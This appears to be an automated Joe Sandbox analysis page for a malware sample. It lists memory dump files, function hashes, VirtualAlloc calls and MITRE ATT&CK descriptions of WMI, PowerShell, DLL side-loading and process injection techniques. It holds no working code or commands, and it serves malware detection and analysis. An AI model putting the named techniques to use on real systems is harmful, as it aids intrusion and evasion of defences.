Associated: 00000003.00000002.1780603942.0000000000E57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780625685.0000000000E65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780644774.0000000000E66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780704247.0000000000E8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780722182.0000000000E8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780742909.0000000000EA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780759823.0000000000EA3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780777535.0000000000EAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780795862.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780812664.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780847012.0000000000EC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780864267.0000000000EC6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780885003.0000000000ED6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780903191.0000000000EDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780919451.0000000000EDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780936926.0000000000EE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780953282.0000000000EE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780973740.0000000000EE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780992763.0000000000EF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781010250.0000000000EF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781028467.0000000000F03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781046441.0000000000F0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781064597.0000000000F12000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781081432.0000000000F14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781099201.0000000000F15000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781116783.0000000000F1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781135239.0000000000F2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781152002.0000000000F2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781168546.0000000000F30000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781186736.0000000000F33000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781204577.0000000000F3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781221485.0000000000F3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781248433.0000000000F6F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781265517.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781322542.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781341928.0000000000F90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ce0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3442f9ea5c528c476675235a748de60a144849744f3b53997ec27749ba091e9e
Instruction ID: 8425bd1cd2e80ef399b6293e5a34dce76d8f67d8247bd37940799956fa025029
Opcode Fuzzy Hash: 3442f9ea5c528c476675235a748de60a144849744f3b53997ec27749ba091e9e
Instruction Fuzzy Hash: 260184B35182109FE3087F78D9446BEB7E5EB8C320F178A3EE6C9E3240C63558418B96

Function 00CEE84B Relevance: 1.3, APIs: 1, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CEF54D

Memory Dump Source

Source File: 00000003.00000002.1780456306.0000000000CEA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000003.00000002.1780388522.0000000000CE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780411163.0000000000CE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780435987.0000000000CE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780478063.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780583298.0000000000E54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780603942.0000000000E57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780625685.0000000000E65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780644774.0000000000E66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780704247.0000000000E8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780722182.0000000000E8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780742909.0000000000EA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780759823.0000000000EA3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780777535.0000000000EAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780795862.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780812664.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780847012.0000000000EC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780864267.0000000000EC6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780885003.0000000000ED6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780903191.0000000000EDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780919451.0000000000EDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780936926.0000000000EE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780953282.0000000000EE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780973740.0000000000EE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780992763.0000000000EF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781010250.0000000000EF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781028467.0000000000F03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781046441.0000000000F0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781064597.0000000000F12000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781081432.0000000000F14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781099201.0000000000F15000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781116783.0000000000F1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781135239.0000000000F2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781152002.0000000000F2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781168546.0000000000F30000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781186736.0000000000F33000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781204577.0000000000F3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781221485.0000000000F3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781248433.0000000000F6F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781265517.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781322542.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781341928.0000000000F90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ce0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1095dc3e6a1751c54fb1b93098a77424dfd749acfbdf5155c90f6c395a75601d
Instruction ID: c395d882de5f7b891179a8782cfec979acb2504b2c9199988f1b752be7cf11ab
Opcode Fuzzy Hash: 1095dc3e6a1751c54fb1b93098a77424dfd749acfbdf5155c90f6c395a75601d
Instruction Fuzzy Hash: 42F037F180C6849BE714AF16D84177AB6A0EB64301F1A483DDACA87240E2324D65DB87

Function 00CEEABC Relevance: 1.3, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00CEEAC4

Memory Dump Source

Source File: 00000003.00000002.1780456306.0000000000CEA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000003.00000002.1780388522.0000000000CE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780411163.0000000000CE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780435987.0000000000CE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780478063.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780583298.0000000000E54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780603942.0000000000E57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780625685.0000000000E65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780644774.0000000000E66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780704247.0000000000E8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780722182.0000000000E8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780742909.0000000000EA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780759823.0000000000EA3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780777535.0000000000EAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780795862.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780812664.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780847012.0000000000EC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780864267.0000000000EC6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780885003.0000000000ED6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780903191.0000000000EDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780919451.0000000000EDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780936926.0000000000EE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780953282.0000000000EE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780973740.0000000000EE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780992763.0000000000EF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781010250.0000000000EF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781028467.0000000000F03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781046441.0000000000F0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781064597.0000000000F12000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781081432.0000000000F14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781099201.0000000000F15000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781116783.0000000000F1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781135239.0000000000F2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781152002.0000000000F2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781168546.0000000000F30000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781186736.0000000000F33000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781204577.0000000000F3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781221485.0000000000F3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781248433.0000000000F6F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781265517.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781322542.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781341928.0000000000F90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ce0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 753a0d1bbaa7028fe7ccdf982162eebf7b1d5dd5113b463632e909923244cc74
Instruction ID: 1610cf80b2c73d3d75f856304739247a9c772d05571946758966702a6bbba142
Opcode Fuzzy Hash: 753a0d1bbaa7028fe7ccdf982162eebf7b1d5dd5113b463632e909923244cc74
Instruction Fuzzy Hash: DDE0BFB4208249AFE741AFA9C889AAF77E4EF18751F104614BEA5C3791D2324C64CF16

Non-executed Functions

Function 00E68CCC Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1780644774.0000000000E66000.00000080.00000001.01000000.00000006.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000003.00000002.1780388522.0000000000CE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780411163.0000000000CE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780435987.0000000000CE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780456306.0000000000CEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780478063.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780583298.0000000000E54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780603942.0000000000E57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780625685.0000000000E65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780704247.0000000000E8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780722182.0000000000E8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780742909.0000000000EA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780759823.0000000000EA3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780777535.0000000000EAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780795862.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780812664.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780847012.0000000000EC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780864267.0000000000EC6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780885003.0000000000ED6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780903191.0000000000EDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780919451.0000000000EDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780936926.0000000000EE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780953282.0000000000EE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780973740.0000000000EE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780992763.0000000000EF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781010250.0000000000EF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781028467.0000000000F03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781046441.0000000000F0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781064597.0000000000F12000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781081432.0000000000F14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781099201.0000000000F15000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781116783.0000000000F1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781135239.0000000000F2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781152002.0000000000F2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781168546.0000000000F30000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781186736.0000000000F33000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781204577.0000000000F3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781221485.0000000000F3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781248433.0000000000F6F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781265517.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781322542.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781341928.0000000000F90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ce0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6472f3cf23efe9f20e397eae2c202049a563fc0757afb863e308cdcfbe151a6d
Instruction ID: 7f137aafeffffa3dd852da83635473ab4ed164187413c04f3fb215909ad54ca0
Opcode Fuzzy Hash: 6472f3cf23efe9f20e397eae2c202049a563fc0757afb863e308cdcfbe151a6d
Instruction Fuzzy Hash: A64199B251C7009FE705AF19E88267AFBE6FF88720F16492DE5D586350E7308441CB87

Function 00E7082A Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1780662672.0000000000E70000.00000040.00000001.01000000.00000006.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000003.00000002.1780388522.0000000000CE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780411163.0000000000CE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780435987.0000000000CE6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780456306.0000000000CEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780478063.0000000000CF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780583298.0000000000E54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780603942.0000000000E57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780625685.0000000000E65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780644774.0000000000E66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780662672.0000000000E69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780704247.0000000000E8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780722182.0000000000E8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780742909.0000000000EA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780759823.0000000000EA3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780777535.0000000000EAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780795862.0000000000EB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780812664.0000000000EB5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780828698.0000000000EB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780847012.0000000000EC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780864267.0000000000EC6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780885003.0000000000ED6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780903191.0000000000EDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780919451.0000000000EDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780936926.0000000000EE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780953282.0000000000EE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780973740.0000000000EE8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1780992763.0000000000EF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781010250.0000000000EF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781028467.0000000000F03000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781046441.0000000000F0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781064597.0000000000F12000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781081432.0000000000F14000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781099201.0000000000F15000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781116783.0000000000F1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781135239.0000000000F2D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781152002.0000000000F2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781168546.0000000000F30000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781186736.0000000000F33000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781204577.0000000000F3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781221485.0000000000F3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781248433.0000000000F6F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781265517.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F79000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781284287.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781322542.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1781341928.0000000000F90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ce0000_TAW4YM7XHY64JPKK4AWZZOV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef005066a5ec7c2b2fcf716851672b3856c6296f05ca9853d974167fbd4d93eb
Instruction ID: 93f2bb885d30abe1143cd56e75e8e75a8d3800d7a037b4c8f589a822c936d959
Opcode Fuzzy Hash: ef005066a5ec7c2b2fcf716851672b3856c6296f05ca9853d974167fbd4d93eb
Instruction Fuzzy Hash: 2E4158B250C704EFE301AF19DC816AEFBE4EF49360F16492EEAC4C3651D63598458BA7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
